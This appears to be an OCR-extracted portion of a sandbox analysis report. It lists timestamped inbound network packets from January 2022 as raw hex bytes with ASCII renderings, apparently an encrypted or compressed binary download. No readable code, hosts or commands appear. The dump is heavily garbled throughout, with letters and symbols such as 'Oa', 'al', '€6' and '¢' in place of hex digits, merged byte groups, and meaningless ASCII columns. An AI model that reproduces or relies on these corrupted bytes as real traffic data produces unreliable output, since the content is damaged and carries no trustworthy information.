Data Ascii: VN\A2rgwF2~wyDG+|mS8RHh0ir9nEel(}:Wmd|Q,QTs7~}+qWkR AmH<KRBX-kb$8YINW 9w=V]/-3'xP>8Ke U

2022-01-14 03:59:48 UTC 937 IN Data Raw: 6d b7 c2 92 0d 3b 78 31 82 c5 63 65 7e 66 d9 47 85 3d 4d 08 34 29 74 36 Oa 1b al 4d 36 bf c1 b0 93 b3 d5 fb
f3 d2 a7 a5 6b 1c 2e 7b bf cd a2 e6 2d af 4e 0d b2 a8 fd 77 ae dc 91 3c f6 49 9f 13 cd Oa d9 cb bd 6d 50 38 9b 2a f6 59 30
cl 14 ab df b6 44 e6 f9 5a ad f3 8f d5 a2 26 3b al 6d dc 00 15 4f dc 9d de 5d 09 8e 4b e8 78 96 f2 67 6b 15 da 7d bl 37
04 0b c8 7a 4c 03 90 Oc 22 25 50 a0 6f 29 92 da 4c Ob 18 1d 31 ca 21 85 80 e5 46 Oe 50 fb cb 9e 22 40 73 df 9e 65 f0 cf
68 4e 38 24 71 93 a8 55 78 46 b3 44 4c fa d8 2e a0 3b €6 a3 99 c7 a4 c4 c0 9c d5 13 a6 d4 61 29 49 {7 1b 57 ba 2b 2b 45
da a0 cf aa 7c d7 24 38 55 e9 5a fa 73 14 f8 83 3e c2 1e d9 2b 0d a9 be 27 3d 23 70 a0 8c 8f ab 8d 73 88 22 dd cb 64 86
66 2a le 6b a2 06 f6 10 89 3d 7f Oe 9f 93 de da 98 1f
Data Ascii: m;x1ce~fG=M4)t6M6k.{-Nw<ImP8*Y0DZ&;mO]Kxgk}7zL"%Po)L1!FP"@sehN8$qUXFDL.;a)|W++E|$8UZs>+'
=#ps"df*k=

2022-01-14 03:59:48 UTC 953 IN Data Raw: ef 18 64 c8 48 50 8e fb 9f 9b e2 46 3d 9d f7 b3 d1 11 56 1d dd df Of 28 83 f2 31 61 c0 81 a7 93 06 37 26 85 40
Ob bc c9 5a 2d 8b 57 f5 77 8c cd 1b 51 61 a0 f2 64 82 da a0 48 7b 8d dd 3e 9f e7 27 ae 64 26 34 55 a3 da b6 cf 5d bc 0f
b5 01 24 b1 5b c3 60 52 7f 83 7a 03 c9 49 5 42 76 37 0f 82 98 65 42 17 43 78 79 7a 7e 7a ce 83 8f e2 55 fd 2d 02 74 c2
Oe 27 6f al eb b3 d6 49 e9 dO 1a 3a 99 1d c8 16 6a f3 bf 7c Oc 29 9c 45 39 21 57 47 4d 5f 72 2b 0f 69 62 af 17 8d 08 cc 92
7352 b1 7d e0 ec f7 34 a7 6e 52 8b 3d 68 b9 b7 ea b0 94 €6 5a 50 55 78 c4 f9 17 f3 71 e5 4c 47 14 e2 e4 b7 79 el 61 ef
2a 17 a6 c2 97 f1 00 30 al 8b a9 22 a4 99 c9 22 ed 7c 3f 1e 5e 95 c7 b4 dd 54 b1 6f 38 ad 75 42 89 5e 90 ca 00 67 al 26
6a Oe 7d bb e8 f9 ad 18 c2 56 82 28 c4 32 a6 e0 d4
Data Ascii: dHPF=V(1a7&@Z-WwQadH{>'d&4U]$[ RzIBv7eBCxyz~zU-t'ol:j|)E9'WGM_r+ibsR}4nR=hZPUxqLGya*0""|?
ATo8uB"g&j}V(2

2022-01-14 03:59:48 UTC 969 IN Data Raw: d2 5b 99 d3 14 35 Ob 4e 6¢ 9d 32 e4 ed 7e ee 53 ba 60 9f ¢6 c0 01 b9 19 bc cc bl 86 4a 06 6d a3 8a 03 90 43
55 f4 10 bc aa 9f db 86 9f 4e €9 e8 f6 63 97 7b 9d a4 93 1c ae b8 d4 6a 41 el b3 d2 d9 13 27 ad dO ae 55 f8 f0 4c 7a 01
0b e9 6f 76 42 80 97 72 a7 f1 8f 3b a3 3f 99 de 04 6c 18 5b 48 4e bf 12 9a 4b e4 04 df aa c9 83 d7 98 89 b7 20 55 59 25
52 35 dd e0 a3 55 1a aa 93 80 88 00 de 9f d1 bf 85 3c b3 64 74 7a 66 el f9 ac 7f 85 cd 01 57 Oc 34 72 a4 d8 33 58 22 88
2359 1c e7 4f 77 2b 26 ce 59 a0 ¢4 52 26 fa 4c a9 12 26 09 f8 71 c6 8a 63 3f 88 fa 20 2d c9 cc b2 64 cd 58 1a fc 3e 87 a9
4c df 80 a9 25 10 4e 03 5b 59 3e 51 5e 57 1a fd da d0 17 84 21 76 5b 73 ab 99 f5 51 51 03 31 00 c9 bb 58 c8 f5 83 d8 84
3a 02 b5 2e 4f 23 65 47 17 3b 08 40 9a 4e 82 bc f4 12
Data Ascii: [5NI2~S"JmCUNCc{jA'ULzovBr;?[[HNK UY%R5U<dtzfW4r3X"#YOw+&YR&L&gc? -dX>L%N[Y>Q W!V[sQQ1X:.
OteG;@N

2022-01-14 03:59:48 UTC 985 IN Data Raw: 40 5a dd ea 68 9b 7c 68 93 65 28 61 03 39 c8 85 65 f8 cd 95 8f 9a Oe 94 1e b2 b0 40 ed Ob ff 57 6a 9 21 3d
1d ab cc 69 ff 23 56 b2 dc b1 34 6f ea 07 b5 a5 34 6b d0 b1 56 e0 54 e6 8d c7 d9 9b 15 d0 31 84 d2 05 84 91 2f 9b 7f d5
68 d7 98 59 3f 7d e4 52 08 6d 6a 86 d4 95 65 11 57 85 9¢ 07 77 32 9a 2f 26 52 52 0a 95 a7 a2 d8 53 5b 84 95 d2 ae 9f 81
0Oa 1b 46 b0 6¢ ce a0 11 5¢ 1b ¢3 87 f0 7f 67 bd b7 5d 7c fc ab e2 23 71 a7 2d 70 4c 1b Ob f4 fO 2d e4 7d 4c c7 6e 95 67
38 3a ac c0 f0 2d 8c 8d 3f 4d 39 5e 4f 47 7a d7 8b 30 87 3d de 2e f2 ¢c7 67 d8 9b 25 6e Ob 5a 76 67 07 2f 31 d9 8a 57 65
02 ed 54 c0 82 f8 38 a2 67 4d 66 42 b5 55 dO d5 d2 Of 0a 94 76 fb ed aa db 30 2¢c a6 87 5¢ 75 09 24 87 07 c3 a0 f3 6e 11
7a 23 ed 79 9c fe f7 e4 76 15 a7 eb b4 23 bf Of 3f 93 54
Data Ascii: @Zh|he(a9e@W;j!=i#V404kVT1/hY?}RmjeWw2/&RRS[FI\g]|#q-pL-}Lng8:-?M9I*OGz0=.g%nZvg/1WeT8gMfB
UVO \u$nz#yv#?T

2022-01-14 03:59:48 UTC 1001 IN Data Raw: 24 2d b7 15 f6 75 cb e7 a9 16 83 ff 62 0e 02 d2 7d b4 56 f4 19 de Ob 90 c8 20 54 c2 a5 05 f2 14 ac d1 c2 21 ef
5b fa 01 31 62 €0 63 65 7f 8d cf 53 b2 00 6e Ob ae el 2d 9f 6¢ 1c f2 €8 db cd 5b b3 dc 32 c0 3a ca cd a8 cd 41 a6 ef ¢3 32
08 38 ca 3d 54 9e 20 bb c7 69 89 68 70 €9 e5 3b d6 87 34 c6 04 €9 b4 cf fa fe 54 5b bc 23 71 7a 4f 90 ca ba Ob fb aa 6e
21 be 8a a5 b8 6a e5 d7 2b 4a 59 el ff bf db 29 4f 61 5f 52 53 2b fb 31 7f 20 47 91 e0 a2 79 0f 3a b7 d1 d6 Oa da 4f 65 62
60 71 €5 d4 cd 97 92 5d f7 d4 39 87 8e 93 bf a4 94 c2 ba 0f 38 ¢9 28 el 46 3d 17 ae a0 8e 29 bd 8e 68 13 a0 1c 89 ba e4
€6 dc 3f 57 06 99 e8 9f 7c 92 ee al 4e Oa 15 4e 48 71 1d 9e d6 5b f2 bb fc 19 e6 6a 50 97 3d c6 eb 3d e6 57 ce 8e b3 a3
b5 e8 73 a7 bb b2 6a 42 2c 4b 0f 27 b8 dc 7d 37
Data Ascii: $-ub}V T![1bceSn-I[2:A28=T ihp;4T[#qzOn!j+JY)Oa_RS+1 Gy:Oeb q]98(F=)h?W|NNHq[jP==WsjB,K'}7

2022-01-14 03:59:48 UTC 1017 IN Data Raw: 7e 5f 8e 21 59 ¢5 Oc de b6 05 0d 5d 4b 79 68 14 11 b3 bd cd 55 df 5e bb 5¢ ea 01 5f 63 cf c1 1c 6b €0 95 a5 el
34 e5 51 4b fa da 7f 94 d7 1b al 6b 49 cc d7 09 70 03 5e bf 15 69 21 ff 50 2e 4e 40 da fc 90 54 e7 21 2c cc 04 4f 05 a6 66
9f ac 8a d5 57 60 bb fb c3 43 06 c3 cd b2 54 1c 3c 2b 42 b0 dc 63 8b 14 c5 02 45 4e 5a e2 d0 74 b5 aa 8f 81 08 3e 1b Oe
80 9c 71 3b ee dc a3 d4 2f ad 06 6b 9c 23 88 05 73 56 e7 fb 32 73 6e 02 45 dO af a5 ff 47 ef 55 b3 2e 97 a5 1a c7 Oa e4
65 7 01 ba 6¢ ab 4e 74 12 24 af el d7 99 8f 27 65 73 8a 20 ac 6¢ f7 62 67 51 d2 5¢ 40 Of de 6e ca c4 bd cb c8 83 6e 15
24 f4 ee d7 fc 31 b8 85 43 5e 40 81 35 db 4e c1 72 b5 6d ce 7b 02 9e 60 bf el c¢7 51 33 18 a2 Oc Oe fd 9e 98 13 c1 fd 73
de 7f 4e 53 78 db bc 4d fc 02 6e 49 8d 7f ff ac 3a
Data Ascii: ~_!Y]KyhUM\_ck4QKKIpAiIP.N@T!,OfW' CT<+BcENZt>q;/k#sV2snEGU.eINt$'es IbgQ\@nn$1C @5Nrm{’ Q
3sNSxMnl:
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 1033 IN Data Raw: ef 66 51 08 e2 a6 51 41 d4 d2 6f e2 ab 6e 7a b3 ea 59 ef 8b b9 13 e8 17 a0 45 c0 d3 a9 7a 53 {7 d6 dc 80 7c
8b 49 57 9e a0 8b ce 5f 1a 6e 2a ac a8 2a d8 b8 a9 cd b0 1a ca cf b4 e2 1e 87 10 f1 66 05 f5 44 Ob d8 42 c3 72 95 73 f5
73 e4 d4 7e 71 f1 4c 55 26 98 42 b7 cb 46 06 3a 52 5a 14 57 fe cf aa 53 99 eb ef d3 7d e3 d8 56 9f f0 46 cd 3c 25 c1 50 1la
€884 c1 Oe Oe 09 84 a4 ed dc 27 3 86 3c 6f a9 9f cd e7 6b 7d b3 98 d7 83 4e 30 3e 1a 39 06 67 30 05 39 8f 26 56 38 c6
c7 5a 31 34 4b a8 3d ae 41 2e 61 df 00 37 a9 9b 58 61 ec 17 eb be 68 a8 89 05 e9 60 ee 5d 35 69 95 20 Oc 03 d0 01 11
ac 2fe3 68 91 f5 13 4a 65 85 e7 6a 50 02 6¢ 4d Of 6b 42 e5 4f 8¢ b0 ¢3 23 78 3e 19 bd 5e 2e c6 5b 18 f5 04 96 b3 1b 34
81 1a 82 7e 23 2d 8¢c 69 01 a0 Ob c1 43 0a b2 f7 70 b5 1f
Data Ascii: fQQAonzYEzS|IW_n**fDBrss~qLU&BF:RZWS}VF<%P'<ok}N0>9g09&V8Z14K=A.a7Xah ]5i /hJejPIMkBO#x>".
[4~#-iCp

2022-01-14 03:59:48 UTC 1049 IN Data Raw: e0 8b a9 99 f8 a2 c3 06 84 0f 07 2d 5f 15 22 30 2d 51 3b d0 84 56 7f 2d e4 80 ac 4d cb 39 00 c4 2f e8 86 ca 3e
16 b2 ae 9e 88 8f 36 ac 15 31 0d 6e ed f4 3e b6 c2 al cO 7e 92 d1 f4 2a 55 68 b6 0a f8 3b c7 31 e5 ef 9f 46 07 fc 22 47 8d
f1 10 fd ad 26 90 1c le fc al 00 a7 84 89 39 8f 97 c7 8b 3d 49 bb 6f 78 16 8d f2 3e 71 e4 17 3b 10 ee fc 46 f1 5d e5 c7 €0
e5 11 7e cf 67 18 c0 91 d5 94 91 ab fc 94 8 c4 06 d1 d8 da 19 e6 4c cO le 69 ea 2a 3d b0 d2 d8 e0 87 d2 25 65 0b ef 6b
283d 16 c5 c9 3c 42 05 66 c8 al b4 de 6¢ 7e 3f c8 25 06 32 18 af a3 c9 3d 19 da 94 Oa ae 35 50 dc 54 8a 7f a2 1c d7 9e
5d 58 40 ad a9 45 92 5d 7d ce 70 09 50 Oa 23 52 73 aa 3e ba 93 3f af ca cc 81 98 02 59 62 36 33 59 91 49 cd 8a a4 38 cc
d4 1d ba 84 0d 53 7e ac f1 d6 40 d3 1a 07 07 56
Data Ascii: -_"0-Q;V-M9/>61n>~*Uh;1F"G&9=lox>q;F]~gLi*=%ek(=<Bfl~?%2=5PTIX@E]}pP#Rs>?Yb63YI8S~@V

2022-01-14 03:59:48 UTC 1065 IN Data Raw: 19 6¢ 19 04 05 3e 35 9b c9 27 56 47 15 e5 08 bd dc 9d f6 70 ed 12 c7 49 Ob eb 7c 47 e0 31 55 69 78 ee e2 26
58 94 b3 48 d4 ce af 01 df 66 03 Oa 6¢ 84 e0 89 9a 68 71 b6 24 57 8e 5a 52 2f 46 51 7a 11 da 9c 08 8f 18 bl bb 1a f2 d9
1b 05 df ff 50 7e 5c 80 59 35 Ob f8 82 ac 55 d9 73 5d 1d 18 be 6f 92 33 70 44 20 f5 52 41 1e a2 c8 cd ae 94 91 dd 94 96 b3
8c 2a cc 26 b9 88 22 91 d1 86 36 84 d0 c1 7a 98 Oe 4c 8f cd 37 33 18 96 3b 5e 6f 7c ¢6 d8 77 52 59 64 a8 3e fd 07 66 62
6e cd 11 b3 f4 2b 3f 2b 95 79 56 Oc 57 25 a6 d0 92 35 74 b8 6 e7 44 ec ae 96 96 28 72 b5 3¢ 53 69 9e 38 22 dd 9c 83 30
2d 73 b7 53 9a b8 ec 33 32 41 e5 ec a7 63 9e 15 89 50 a9 99 56 42 90 df 62 b6 de 19 a4 c9 a0 8e c6 7b cd 06 b3 32 da 9
0Oa 16 ba 1b 6e b9 23 17 09 64 c6 56 17 40 dc 7b 65 be
Data Ascii: I>5'VGpl|G1Uix&XHflhq$WZR/FQzP~\Y5Us]o3pD RA*&"6zL73; 0|wRYd>fbn+?+yVW%5tD(r<Si8"0-sS32A
cPVBb{2n#dV@{e

2022-01-14 03:59:48 UTC 1081 IN Data Raw: 06 4e f1 4c 81 eb d6 05 94 a6 50 e6 35 7b 89 bc 0d a5 75 19 aa bd 44 e3 €0 6e 54 b6 bc 12 2a 85 3¢ 07 95 f1
1d 52 8f c7 ea 28 ed 5f ad 41 ac 46 49 92 e5 e7 e9 c5 14 ff 2e 6b 8e 5d 36 25 4d 2d 75 c3 3f 4e a0 c6 f3 f3 19 58 ee 2e d5
c9 b5 5b 16 02 53 3a 24 56 a5 1b a5 76 ce €3 2e 46 6e 25 69 7b b9 ec {7 6e d6 1b bf 22 00 63 13 5e 22 c9 7f 1f 17 al 75
49 7f 6¢ 64 7e 09 40 fc 7a 2a 9e fb db 54 d4 56 54 c5 23 56 54 2b ae 37 €6 3a 60 8d eb 6b 89 el 69 4c 2d ae 24 16 7a aa
60 58 39 01 cO fe 4e 64 32 77 da 48 d0 d6 7d d8 79 57 02 al bb 6e aa c9 b5 13 2b b0 86 €9 el 48 cb aa c4 96 0a 45 b6
1724 27 77 cc e5 43 41 a6 60 cc d1 7b Of c2 ab 2a b4 34 ca 37 93 ¢3 28 45 e4 3c 98 84 ee 02 c4 7f 5a 5e 5e 84 2d 15 c5
2956 1b c3 11 b2 36 71 57 a2 44 ae 8e 2a dd 8c aa c6 ac
Data Ascii: NLP5{uDnT*<R(_AFI.k]6%M-u?NX.[S:$VV.Fn%i{n"c "ulld~@Z*TVT#VT+7: kiL-$z" X9Nd2wH}yWn+HE$'W
CA{*47(E<Z"-)V6qWD*

2022-01-14 03:59:48 UTC 1097 IN Data Raw: 7f fe 15 c6 94 ac f6 e7 0a 9f d6 35 86 83 Oe b6 67 1c 61 bd 4b 89 5¢ 57 9c f6 1c 04 b9 47 eb c9 2b 89 e8 75 6f
29 42 cd Oa fc 2c 76 44 5a fe 3d d1 76 9 15 af d9 91 95 7e bd 2d d4 dO 08 c1 87 70 62 8c 68 07 4b b2 9e 00 89 71 4f 7e
05 4c ff 17 69 b1 d7 84 e5 0d f1 a2 5d a8 64 83 90 74 90 43 60 04 ce c2 fd 2f 47 d5 60 ff 80 69 35 Oa e2 fd 87 1e 7c e4 5e
ad e7 57 4a 58 1e a6 9a 04 b7 10 76 f2 66 20 dd 87 ed 4c 98 4d 43 2d 00 e5 ba d1 {7 52 24 eb b7 ee b7 a6 39 18 b3 cf el
da 19 5a 2a 21 c4 a2 5f 4d c5 al 29 c0 b0 f8 c5 b1 90 25 48 9c 49 0d 45 cf b4 Oa de 4b ef 98 06 al f9 d4 bd 81 8c 36 ca
9b bb a8 9b 70 09 b7 6b 03 3b 88 48 3e b6 bc 7e 97 3e 34 f7 c4 d7 b4 69 a0 7f 16 95 27 e3 7c db 53 07 d1 da ce cd 4c d8
12 e0 fd 16 7f 9f 74 72 4f 86 86 67 17 5a 40 4b 55
Data Ascii: 5gaK\WG+u0)B,vDZ=v~-pbhKqO~Li]dtC"/G"i5|*"WJIXvf LMC-R$9Z*!_M)%HIEK6pk;H>~>4i'|SLtrOgZ@KU

2022-01-14 03:59:48 UTC 1113 IN Data Raw: 48 e2 24 5b 86 be 44 68 74 44 fc 51 fc d5 75 82 10 87 d0 df 9b a4 44 ec b6 29 ca 96 8f 4a 8b 2e a5 9b 8a f7 90
77 da Of 3f 11 c3 a9 18 48 b2 b6 d9 db 68 Oa fe 0d d1 69 94 ed Oc €5 29 84 65 04 02 2a b9 4a fb 19 6¢ 85 08 5¢ 49 1e ba
b0 eb b6 aa fe cf e2 58 15 a4 fd cb 30 1e 1c cO 7c 5¢c da ab 3a b7 4d 01 df 83 72 ae df 19 c2 13 29 ed 2b 61 3b 06 87 c6
5b f2 9¢c 6b c1 a5 b0 89 a6 53 a8 c9 9e b2 fe ed 1c a5 ef 15 9c b9 d8 60 ee 19 16 6b 14 2f 5f ee bc bf 52 cc f8 90 72 1c c8
416173 c2 ca 23 99 92 21 f4 80 be 7c 24 40 4c c4 46 89 17 70 f7 b8 17 32 49 78 89 9d aa 96 a7 d7 ae 11 87 be 71 8a 78
3c 36 ef 02 5¢ b8 69 ec b4 5f 04 ca c5 fe c2 Ob 8e cd el c0 al dd 38 d2 49 64 8c f7 fc 05 3c 5¢ 3b c¢2 1c 3e 7d ad 10 fb 03
ea 1c 5e 69 4e 9a c9 1f 28 82 51 e6 d2 3c 5¢ 93
Data Ascii: H$[DhtDQuD)J.w?Hhi)e*INXO\:Mr)+a;[kS k/_RrAas#!|$@LFp2Ixqx<6\i_8Id<\;>}NN(Q<\

2022-01-14 03:59:48 UTC 1129 IN Data Raw: bc fc ¢8 84 41 b4 80 cb 37 47 a6 ba 4c 60 a2 de ac 87 16 89 5b 02 cf 68 76 22 71 70 82 68 92 63 27 58 7b fc
9b 79 da ed 2f 59 ab d2 5e 5b 82 94 ef al 21 96 78 aa 80 15 d6 00 5f a8 5a el d3 00 40 ea d0 df 54 00 5f 77 ae 94 64 03
1e 91 0f 83 07 fb 77 el a7 bc 79 78 de 2b d8 61 11 86 02 98 68 21 f3 3¢ 5d 60 fc 3¢ 07 a7 94 2b 7b 1c 01 26 c5 43 02 02
60 68 fe 1f 12 6d 64 a7 c3 61 59 ef 77 db 47 04 b4 14 19 83 24 68 b1 46 ca df 11 fd 85 5b Oc 26 f9 f8 2a 8¢ 82 38 74 c4 19
5d 29 8f fa 88 90 8¢ 73 36 ea a2 13 da 8a 56 ce 24 95 54 57 af {3 1e 0d da d7 13 96 a3 e0 c2 75 ba 1e 3b 5f 08 1b fe Oe
92 8b 79 bc a5 7c 7e bb 43 ¢8 a8 8d be 51 5d 38 9d 19 ab 91 ef 90 ff 11 89 e3 43 5b 28 ae 5d 04 43 Oe f9 db 9c fa 9c 40
76 69 d7 90 25 89 36 8a 34 c6 ea 13 1fd9 11 ad 2a 2e
Data Ascii: A7GL [hv"gphcX{y/Y/[!x_Z@T_wdwyx+ah!<]'<+{&C hmdaYwG$hF[&*8t])s6V$TWu;_y|~CQ]8C[(]C@Vi%64*.

2022-01-14 03:59:48 UTC 1145 IN Data Raw: €0 11 2e a7 50 bc 05 5e f5 e8 a5 78 17 00 09 10 f1 d1 4f 52 81 77 12 42 85 53 0f d1 62 53 8e 8e c8 46 2b 22
db ef 98 c0 d2 7f a2 c7 77 €7 85 10 75 97 49 1c 38 75 a5 b2 3d e2 6a 6a 36 a7 18 4d 76 7c e4 d7 5e 56 31 f8 9a 13 99 d8
fb 3234 15 8¢ 17 0d ff 59 45 77 77 el 7f el 79 41 81 d4 e8 6f bd a2 dd 34 99 de 58 36 25 8f 16 80 a3 9c 66 3d 1e cf 16
67 9b 69 14 15 64 77 a6 08 74 15 5e al b7 ba 39 22 84 05 4f db 74 5b c4 66 00 3d 68 5b 89 59 d4 38 9e 62 5e 3b 87 98
a8 8933 03 8a 36 c9 63 b2 78 ch 94 37 bl a6 33 87 a6 25 89 2a 15 91 f2 4b 3f 93 5a 25 5f f0 6¢ 5a d7 1c 89 a7 af 2e dd
3ce7 le 4f 72 c9 67 a4 fd 97 92 84 eb 13 2b 05 af fb 79 1c 49 55 d6 8c cb 7f f5 a8 71 83 ¢2 69 e6 9a 5d 81 fc 37 1a 59 3e
f2 b9 d3 71 cd a8 56 2f 8e 62 29 8b d5 13 7e 46 35 55 a3
Data Ascii: .P XORWBSbSF+"wul8u=jj6Mv|"V124YEwwyA04X6%f=gidwt*9"Ot[f=h[Y8b";36cx73%*K?Z%_IZ.<Org+ylU
qi]7Y>qV/b)~F5U

2022-01-14 03:59:48 UTC 1161 IN Data Raw: 06 b7 dc Oe d6 55 a8 ce 0d 61 42 f9 df 3c 97 e2 a2 d6 e3 4e 9c 66 6d 2a e8 72 c8 63 db a5 61 b6 f1 4f 02 c4 20
30559d el 73 10 71 7d ff 3d Oc de 69 74 51 6¢ 56 97 86 74 Oc 5c 8e 40 9f 47 fd 84 ca 26 e3 90 44 3f e6 c7 fe 60 6a 00 e7
af c7 0a 72 52 4c 46 53 ba c4 82 6¢ 7e f0 04 bc e3 92 21 90 78 3f 4b 8d 75 {7 d8 ba 15 Oe 87 b3 03 2a 22 67 65 dO b8 75
3f d9 e9 df 93 f4 82 2c e2 08 84 b2 d7 9c 95 45 67 63 76 42 18 52 5f 2b 78 b4 17 d7 65 5d 76 25 19 43 76 2a 0a 90 4f a6
5b 77 cb ad af 60 06 Of df d2 95 96 €6 f6 5c 6f 86 1a 7a 06 aa cf 69 21 51 c9 16 78 69 56 8d dc a9 a8 c3 ca 8b d3 6d a6 8d
be 2f 0d f9 a5 b3 13 27 31 6e cd 9a 50 a2 ce 62 3d c2 46 39 81 ef 9f 85 2d ec 11 09 cf 34 9c 6f 32 92 ed 12 55 Ob 8 82 46
55 2e 6b 38 39 e5 83 d9 dd 43 5e 5f 9a c6 76
Data Ascii: UaB<Nfm*rcaO 0Usq}=itQIV\@G&D? jrRLFSI~Ix?Ku*"geu?,EgcvBR_+xe]v%Cv*O[w \ozi!QxiVm/'1nPb=F9-
402UFU.k89C" v
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 1177 IN Data Raw: 3d f8 80 ab 07 4a 06 ea 03 91 a4 ec 26 Oe e8 b1 10 d2 a2 38 9e 88 02 e0 86 11 6d d3 41 27 00 d1 9f e0 30 d5
le 9e 56 Oe f3 57 29 81 26 b4 05 5f bf b7 9d d3 c4 3 48 05 92 2e d2 9b 8d ce 65 1e 9d 9d 63 ed cc ce 38 bd a7 6a fe f9 fc
4d ca ad ae 81 c3 ad 73 5f 52 99 e2 a7 2d c5 e8 93 15 97 89 b1 58 88 2f 5 62 33 32 55 f4 e0 el ea 17 48 c3 3a 9e ad el
ee 6e 3a 1c ac bl f0 a4 55 17 bc 1b ec 1d 98 d3 2f 02 7a 25 b8 15 5f 76 02 8c 94 e3 al 8a 9d 4d 1b d3 d4 dc b1 f7 46 b9
90 68 23 13 d6 48 al 14 1c d9 67 86 53 9c c6 f9 40 28 ba c2 2a 4a 32 b0 9e 96 f3 2e 6e 1f b4 bb 59 ca e0 5f 04 30 05 87
7e €2 b3 0128 d30c c399 d9 1b 88 61 7d f2 4f 7c 4e 3a 58 5d 6a ac 80 eb 34 96 66 43 d0 8b fd 4e 2b a6 06 aa 23 49 1c
de d4 37 e4 d6 ea 1c ec 63 d6 3a 61 5a 4e 93 84 c6 7c
Data Ascii: =J&8mA'0VW)&_H.ec8jMs_R-X/b32UH:n:U/z%_vMFh#HgS@(*J2.nY_0~(a}O|N:X]j4fCN+#|7c:aZN|

2022-01-14 03:59:48 UTC 1193 IN Data Raw: 93 b7 3e 6f 33 fa 82 d0 cf 61 11 ff bf 3e 72 d3 cb 71 07 3d d5 32 a4 f8 33 e2 e2 d7 c9 c5 56 49 0f 31 ¢5 41 76
07 97 90 32 22 a7 f8 da 0a 8d 3a 72 47 47 77 fc f2 cd 63 70 0Of 24 2e 96 00 73 76 f6 69 8f a9 c0 36 83 74 96 e5 a0 2e 4d
90 d0 6f 24 35 58 1c al 4f 4f 9b a9 bb 98 2f f7 77 f1 20 el 67 45 7c 90 14 fe d6 35 c6 1d 1b 93 86 d4 db 58 ce a4 49 0d c5
02 d1 22 90 al e5 25 5b 61 32 30 8a 98 4d dd 15 6f cf 59 1b 2c 8b cf 4c 5b 5f 03 06 31 58 83 19 80 a4 e6 ea 8b 20 cf 3b
78 74 68 €7 98 d9 64 b6 ce 08 4e 8e 9b 72 9f ¢5 88 71 d4 92 97 ee 33 3f 27 db 77 32 9f ae 30 fb f6 59 84 b9 87 f2 74 94
40 6b de 65 4d 91 93 9f 4a 02 b2 88 0f db b5 dd 95 f9 e6 dc 67 cc ff 29 51 3e a9 67 8e 44 38 d9 b2 be el 3c 8e 3e 68 b4
ed 6¢ 32 21 9d 76 97 12 5e 68 77 27 84 ef 86 ff a0
Data Ascii: >03a>rq=23VI1Av2":rGGwcp$.svi6t. Mo$5XOO/w gE|5X1"%[a20MoY,L[_1X ;xthdNrg3?'w20Yt@keMJg)Q
>gD8<>hl2lv*hw'

2022-01-14 03:59:48 UTC 1209 IN Data Raw: 40 54 9f 4f 50 06 2a 65 24 93 6¢ 48 80 66 35 68 ea 12 9c 93 d2 1a ab 8a 2a 7e 73 €5 €9 33 f2 d5 a7 f3 b4 e7
ab 93 3b 54 7c 36 44 2c bb 44 65 50 6¢ 4c 4f 1f 25 6a df 95 2d 86 97 93 a7 55 fb 68 63 18 84 c6 ef 1c bl fe 99 b8 4f 16 d4
0Ob ca 30 c5 00 60 6e 55 96 c0 03 0f f8 eb d5 2b 6f cf 57 cd 92 74 54 99 e3 e0 a7 4f 9c 9b 44 78 9f c3 05 a3 2d 48 52 c0 c1
a3 e6 8a 34 77 b8 62 08 bf d6 52 b5 16 91 bb 36 48 bc 1a e7 7f 3e 94 ec f2 a0 8f db 93 fc 43 bc 12 ff b8 52 el f7 32 d8 al
34c838el12dlf6a7 1e 56 90 03 al 9a 99 6f 54 23 c0 65 47 3c 1b 7c fe 53 b2 3a 62 cd 31 32 24 d9 3a 58 67 71 cb 32
6b 9f ab c6 cc 19 92 00 a4 67 c3 67 c4 b3 fc aa 9c 7¢ 42 5e 21 dd f4 de b8 73 75 e5 18 d6 8b 4b 73 45 f7 6e 80 al 46 1c
72 78 ac b7 a0 b3 fa 70 a2 e0 61 e2 ac 52 ce bc
Data Ascii: @ TOP*e$IHf5h*~s3;T|6D,DePILO%j-UhcO0 nU+oWtTODx-HR4wbR6H>CR248VoT#eG<|S:b12$:Xgq2kgg|B"!
SuKsEnFrxpaR

2022-01-14 03:59:48 UTC 1225 IN Data Raw: 89 33 23 45 96 b5 99 4f a4 1f 21 e7 79 2d 41 73 f8 32 89 da 8d 5¢ 78 c3 3f 24 32 1c 89 fb 1a d4 88 03 41 52 8a
4c e2 ce 40 8d d9 4a 77 e3 07 d6 6d 3c 2b fe fe b6 1b 62 al 74 2d 02 3d 24 6b 9d 66 95 3f 3f 8e 4c a9 34 2a 5a e2 70 c3
1a 17 40 00 7a 2b 8b 05 al 90 50 ed bd 05 28 dd 82 c3 f3 69 64 b7 53 27 6f 27 28 e5 8f 61 4d 2f 2f 11 6f 58 62 9f 77 14 2b
2a 78 dd 95 d0 20 4a 4e 74 31 b9 16 0d 1c f4 07 f6 c4 cl ab c9 b6 ec 12 9b Ob cf 5d 47 6f 3b 87 62 2b 7a 7b 8c 5e 27 1f
c58ad3cl 28 d4 0b cf 6557 e4 5d 94 0a d5 d8 23 8b e2 a7 9d 4b 8f e6 ef 57 12 7a Ob c4 df 54 bc ef 8b a6 2b 20 90 b0
44 89 f4 9f e2 5e fc 30 6d 5d f4 31 3b cd 94 61 e7 8e Ob d8 a0 2f c8 a0 8f 24 c4 db c4 50 75 44 30 54 7 47 €9 c6 2e 70 03
78 27 ec 7a e5 5b 45 5a 5¢ 92 66 78 b4 d5 84 c5
Data Ascii: 3#EO!y-As2\x?$2ARL @Jwm<+bt-=$kf??L4*Zp@z+P(idS'o'(aM//oXbw+*x INt1]Go;b+z{"(e W]#KWzT+ D
A0m]1;a/$PuDOTG.px'Z[EZ\fx

2022-01-14 03:59:48 UTC 1241 IN Data Raw: 55 fe 4d 9¢c 06 Oa 94 45 8e 42 de 2f 02 6e 46 75 a5 87 ec 4c 50 3c 4f 28 9d bc 3b ¢4 79 6f {7 5e 36 86 f9 84 ea
c8 49 21 2f df da 52 4a c3 3c b6 eb af a4 8c 29 7e 86 28 43 4b 9f 37 08 b2 af c2 e8 5f bb b5 e8 27 4a 04 3e Ob 63 ec 5d 8d
8e fc 77 2a 97 be 6f ¢5 75 35 b8 94 Oc bc 0f d9 2b ed 70 06 b6 98 c9 e2 58 57 7b 76 ad d9 7 91 26 d5 bf d8 90 43 ff 94 63
09 72 07 00 46 86 aa el 78 97 a3 40 7 ee c5 de 10 6d 60 79 18 01 43 48 79 15 99 97 7e 45 9f bc 38 d4 b6 fe 38 40 89 ee
